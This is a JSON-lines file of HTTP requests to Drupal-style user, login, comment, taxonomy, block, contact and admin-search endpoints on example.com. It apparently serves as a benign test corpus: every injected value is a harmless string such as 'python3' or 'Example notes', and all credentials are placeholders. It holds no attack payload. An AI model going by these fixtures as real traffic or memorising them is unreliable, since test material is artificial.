{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=editor%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Tww5TAI2JlLptGMeqDr8TrYVQtivoUUfQBqMEdAZEBc&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=Example+notes&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=editor&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-vfSxkkRUliHZ94RNDGQPYf7s4xzppLcOTEr_tFXggpE&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=Example-notes%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=Example+notes&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Example notes\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"Example notes\", \"description\": {\"value\": \"Example notes\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"Example notes\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"Example notes\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"Example notes\"}}}"}
{"method": "GET", "target": "/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fpython3&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=python3&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"python3\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=python3&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=python3&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-jkxC5RRd1yqPKDrUvQVwKueTR4weU1P2jkPF6nGQvpg&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-i9hhltnsmm1K1X9JXyY4H0BRz28FQ3444fpAFgg1kq4&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GV783kJBof1XiSjy8-C-hfHbtY1rY0M4sWjzXPwcPlc&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-lCTS1z_EoVksn0jioAK7v4s2L4hzoCwXHJT-CH8rsW0&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=python3&body%5B0%5D%5Bvalue%5D=%3Cp%3Epython3%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-4oWrGGzjtPQv1A-JRZJ6CmyFsL4hb0RJUDKQdHeJNh0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-SbrC1EfH_MYlu_an5FBoylr6AlpLpOD11o2gCOtyRO0&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=Example-notes%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-Kt2kffKt50tcucWdWM-piCd9om4FVt-aJyIJFpV55tU&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=python3&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=python3&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-ChSwnL6JOckVaRM1DY_gK10c443LOX6--020EPfUoho&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=python3%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=python3&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"python3\"}]}"}
